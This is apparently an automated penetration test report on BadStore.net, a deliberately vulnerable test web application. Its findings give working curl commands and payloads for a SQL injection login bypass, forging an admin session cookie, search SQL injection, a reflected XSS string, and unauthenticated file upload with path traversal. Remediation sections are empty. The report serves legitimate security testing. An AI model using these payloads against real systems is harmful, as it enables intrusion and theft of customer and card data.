
Web Application Penetration Test Report — v1.0

Target System: BadStore.net v1.2.3s

Performed by the OpenHack Security Agent

Issued by Jane Doe (jane.doe@openhack.sec)

2026-02-27

Contents

1 Document Control	2
2 Executive Summary	3
3 Execution of the Security Penetration Test	4
3.1 Subject Under Test	4
3.2 Scope	4
3.3 Methodology	4
3.4 Events	5
4 Risk Assessment	6
4.1 CVSS	6
4.2 Risk Categories	7
4.3 Vulnerability States	8
5 Summary of Findings	9
6 Findings and Remediation	10
6.1 Finding	10
6.1.1 SQL injection auth bypass in login exposes prior orders and payment card data	10
6.2 Finding	11
6.2.1 Unsigned client-side session cookie allows role escalation to admin (SSOid)	11
6.3 Finding	12
6.3.1 Unauthenticated SQL injection in product search (searchquery) . . .	12
6.4 Finding	13
6.4.1 Reflected XSS in search results via unescaped searchquery	13
6.5 Finding	14
6.5.1 Broken authentication allows unauthenticated file upload via Referer spoofing (supupload)	14
7 Appendix A - Lists, Scripts and Raw Data	16
8 Appendix B - List of Abbreviations	17

Scope

OpenHack Security Agent was engaged by Richard Roe to conduct an external IT security investigation. The subject of the investigation was the “BadStore.net v1.2.3s”.

The test was performed using a local instance of the application at `http://localhost:3336` in a dedicated test environment..

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

Disclaimer

‘OpenHack Security Agent’ conducted the security penetration test on behalf of ‘Richard Roe’. This report has been prepared exclusively for ‘Richard Roe’. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered “third parties” within the meaning of this engagement.

‘OpenHack Security Agent’ does not assume any liability or legal claims against third parties unless agreed otherwise in writing or a disclaimer cannot effectively be implemented.

It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
Project Timeframe	2026-02-27

Version History

Version	Date	State	Author	Comments
0.1	2026-02-27	Draft	Jane Doe	-
1.0	2026-02-27	Final document	Jane Doe	-

Contact Persons - Assessor

Name	Role	Phone	Email
Jane Doe	Lead Security Consultant	+1 555 123 4567	jane.doe@openhack.sec
John Smith	Security Consultant	+1 555 234 5678	john.smith@openhack.sec

Contact Persons - Client

Name	Role	Phone	Email
Richard Roe	Project Lead	+1 555 345 6789	spam@badstore.net

2 Executive Summary

OpenHack Security Agent (hereinafter referred to as “ASSESSOR”) has been commissioned by Richard Roe (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the BadStore.net v1.2.3s application took place on **2026-02-27**.

For this purpose, the web application, accessible at `http://badstore:80`, was tested from the perspective of an external attacker.

As part of the test, a total of 5 vulnerabilities were identified: 3 critical, 1 high, 1 medium, 0 low, and 0 informational.

Critical: **3** | High: **1** | Medium: **1** | Low: **0** | Informational: **0** | Total: **5**

Table 2.1: Overview of Findings

Severity Count	
Critical	3
High	1
Medium	1
Low	0
Informational	0
Total	5

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

3 Execution of the Security Penetration Test

3.1 Subject Under Test

3.2 Scope

The scope for the assessment was the following targets:

3.3 Methodology

The security penetration test of the BadStore.net v1.2.3s took place on 2026-02-27.

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).

Category	Description
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

3.4 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment:

DRAFT

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see [CVSS v3.1 Specification](#).

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active:** The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential:** The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed:** The vulnerability has been remediated and verified through retesting.

DRAFT

5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	SQL injection auth bypass in login exposes prior orders and payment card data	Critical	N/A
02	Unsigned client-side session cookie allows role escalation to admin (SSOid)	Critical	N/A
03	Unauthenticated SQL injection in product search (searchquery)	Critical	N/A
04	Reflected XSS in search results via unescaped searchquery	Medium	N/A
05	Broken authentication allows unauthenticated file upload via Referer spoofing (supupload)	High	N/A

6 Findings and Remediation

6.1 Finding

6.1.1 SQL injection auth bypass in login exposes prior orders and payment card data

Severity	Critical
CVSS Base Score	N/A
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=login
Status	open

Description

Unauthenticated SQL injection in the login handler allows bypassing authentication by injecting into the email field. The application issues a valid session (Set-Cookie: SSoid=...) and grants access to authenticated-only pages such as My Account and View Previous Orders, exposing order history and payment card numbers.

Reproduction: 1) Login with SQLi payload and save cookies: `curl -sS -c cookiejar -D login.headers -o login.body -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=login' -H 'Content-Type: application/x-www-form-urlencoded' -data 'email=%27%20OR%20%271%27%3D%271%27-%20-&passwd=irrelevant'` 2) Use the issued session cookie to access account pages: `curl -sS -b cookiejar -D myaccount.headers -o myaccount.body 'http://badstore:80/cgi-bin/badstore.cgi?action=myaccount'` `curl -sS -b cookiejar -D viewprevious.headers -o viewprevious.body 'http://badstore:80/cgi-bin/badstore.cgi?action=viewprevious'`

Observed: response contains 'Welcome, Test User' and the previous-orders table includes payment card numbers.

Evidence (impact): - /app/data/pentest/running/e10ae092-56c2-4839-85bc-87a0ef1d6b82/evidence/http-viewprevious-after-sqli-20260226-235841-3357.body

Evidence (session established): - /app/data/pentest/running/e10ae092-56c2-4839-85bc-87a0ef1d6b82/evidence/http-myaccount-after-sqli-20260226-235841-3357.body

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Authenticated-only 'View Previous Orders' page retrieved after SQLi login bypass; response contains order history and payment card numbers.: [images/finding-6b25c1d8-e1b4-4ab8-a686-3c1c3b7f87b1-1-http-viewprevious-after-sqli-20260226-235841-3357.body](#)
- My Account page accessed with SQLi-issued session; response greets 'Test User' and shows account modification form.: [images/finding-6b25c1d8-e1b4-4ab8-a686-3c1c3b7f87b1-2-http-myaccount-after-sqli-20260226-235841-3357.body](#)

6.2 Finding

6.2.1 Unsigned client-side session cookie allows role escalation to admin (SSOid)

Severity	Critical
CVSS Base Score	N/A
Assets	http://badstore:80/cgi-bin/badstore.cgi
Status	open

Description

BadStore uses a client-side, base64-encoded SSOid cookie that contains the user role (e.g., . . . :U). The application appears to trust this field without a server-side signature/MAC, allowing an attacker to forge . . . :A and access admin-only functionality without valid admin credentials.

Impact - Unauthenticated privilege escalation to admin role. - Admin portal access enables disclosure of the full user list including password hashes and password hints (and likely permits destructive admin actions such as user deletion/password reset).

Reproduction (no brute force) 1) Register a new user at `GET /cgi-bin/badstore.cgi?action=loginregister` -> submit the Register form (`POST /cgi-bin/badstore.cgi?action=register`). 2) From the registration response, capture `Set-Cookie: SSOid=<base64>`. URL-decode it and base64-decode it; format is: `email:hash:fullname:ROLE`. 3) Change

the trailing role from U to A, base64-encode the modified string, and send a request with `Cookie: SSOid=<forged>` to the admin portal. 4) Example read-only proof: POST `/cgi-bin/badstore.cgi?action=adminportal` with form body `admin=Show Current Users&Do It=Do It`.

Observed result - With the forged SSOid role A, the server returns the Secret Administration Portal and renders the Current Users table (including password hashes/hints), confirming admin authorization bypass.

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- curl -v request/response showing forged SSOid (role=A) granting adminportal access and returning Current Users table with roles/password hashes/hints: [images/finding-55b4fe16-eb5b-4b67-9467-93cf4ed5245d-3-http-adminportal-showusers-forgedrole-A-verbose-20260226T235914Z-16477.txt](#)
- curl -v request/response showing an entirely synthetic SSOid (attacker@example.com:...:A) still grants adminportal access and returns Current Users table: [images/finding-55b4fe16-eb5b-4b67-9467-93cf4ed5245d-6-http-adminportal-showusers-randcookie-verbose-20260227T000118Z-2427.txt](#)

6.3 Finding

6.3.1 Unauthenticated SQL injection in product search (searchquery)

Severity	Critical
CVSS Base Score	N/A
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search
Status	open

Description

The product search endpoint is vulnerable to SQL injection via the `searchquery` parameter. A single quote triggers a database syntax error (MariaDB), and boolean-style payloads change the result set, indicating attacker-controlled SQL. This can likely be leveraged to extract/modify database contents.

Reproduction: 1) Trigger error-based SQLi: `curl -sS -D headers -o body 'http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=%27'` 2) (Optional) Boolean probe (result set changes): `curl -sS -D headers2 -o body2 'http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=%20-%27'`

Observed: response shows `DBD::mysql::st execute failed: You have an error in your SQL syntax ... from /data/apache2/cgi-bin/badstore.cgi line 242.`

Evidence (impact): `- /app/data/pentest/running/e10ae092-56c2-4839-85bc-87a0ef1d6b82/evidence/http-search-sqli-quote-20260226-235803-15674.body`

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Search request with a single quote in searchquery returns a MariaDB SQL syntax error, confirming unsanitized input reaches SQL execution.: [images/finding-b393d3d3-15ef-4030-ae74-2f722701324c-4-http-search-sqli-quote-20260226-235803-15674.body](#)

6.4 Finding

6.4.1 Reflected XSS in search results via unescaped searchquery

Severity	Medium
CVSS Base Score	N/A
Assets	<code>http://badstore:80/cgi-bin/badstore.cgi?action=search</code>
Status	open

Description

The search endpoint reflects user-controlled input from the searchquery parameter into the HTML response without escaping, allowing injection of arbitrary HTML/JavaScript. A crafted link can execute script in the victim's browser context (no authentication required).

Reproduction: 1) Open/call: `http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=%3Csvg%2FFor`

Observed: the response contains the literal tag `<svg/onload=alert(1)>` embedded in the HTML (not encoded), which will execute `alert(1)` when rendered by a browser.

Evidence (impact): `-/app/data/pentest/running/e10ae092-56c2-4839-85bc-87a0ef1d6b82/evidence/http-search-xss-20260226-235803-15674.body`

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Search response reflects `<svg/onload=alert(1)>` from searchquery without HTML-escaping, enabling reflected XSS.: `images/finding-9e671615-bf61-4f4e-9385-8ee26fce8b9f-5-http-search-xss-20260226-235803-15674.body`

6.5 Finding

6.5.1 Broken authentication allows unauthenticated file upload via Referer spoofing (supupload)

Severity	High
CVSS Base Score	N/A
Assets	<code>http://badstore:80/cgi-bin/badstore.cgi?action=supupload,</code> <code>http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal</code>
Status	open

Description

The supplier upload handler relies on client-controlled `Referer` instead of a server-side session to enforce authentication. By spoofing a `Referer` pointing to the supplier portal, an unauthenticated attacker can upload arbitrary files.

Additionally, the `newfilename` parameter is used as a file path (no canonicalization/allowlist), enabling path traversal / arbitrary path writes when target directories exist, and verbose errors disclose server filesystem paths.

Reproduction (unauth file write): 1) Send a multipart upload with a spoofed `Referer`: `printf 'proof' | curl -i -X POST`

-e 'http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal'
'http://badstore:80/cgi-bin/badstore.cgi?action=supupload'
-F 'newfilename=ocproof-ref-.txt'
-F 'Upload=Upload'
-F 'uploaded_file=@-;filename=proof.txt;type=text/plain' 2) Observe the response includes:
Thanks for uploading your new pricing file! and Your file has
been uploaded: ocproof-ref-`<ts>`.txt.

Control (without Referer): - Repeat step 1 without the -e Referer; response returns Uploads
are only accepted by authenticating to the Supplier Portal!

Path traversal / arbitrary path indicator (no need to create files in webroot): - Set newfile-
name=../backup/test.txt and observe a server-side error such as: Can't open
../backup/test.txt for appending: No such file or directory demon-
strating the path is taken verbatim and leaking filesystem details.

Impact - Unauthenticated arbitrary file write to the server (supplier upload function). - Po-
tential overwrite/planting of files in attacker-chosen writable directories; if a web-executable
directory is writable, this can escalate to remote code execution. - Information disclosure via
verbose error messages (filesystem paths).

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Spoofed Referer upload: unauthenticated POST /cgi-bin/badstore.cgi?action=supupload
returns 'Thanks for uploading' and echoes uploaded filename.: [images/finding-05f07ea0-e962-49fc-b211-c41ef27b4a1d-7-http-20260226T235919Z-18217-supupload-post-referer.txt](#)
- Control request: same POST without Referer is rejected with 'Uploads are only accepted
by authenticating to the Supplier Portal!': [images/finding-05f07ea0-e962-49fc-b211-c41ef27b4a1d-8-http-20260226T235811Z-5046-supupload-post.txt](#)
- Path traversal indicator: newfilename with '../backup/...' triggers verbose server error
'Can't open ../backup/... for appending', showing newfilename is treated as a path and
leaking filesystem details.: [images/finding-05f07ea0-e962-49fc-b211-c41ef27b4a1d-9-http-20260227T000101Z-23320-supupload-traversal-dotdot-backup.txt](#)

7 Appendix A - Lists, Scripts and Raw Data

DRAFT

8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

+-----+-----+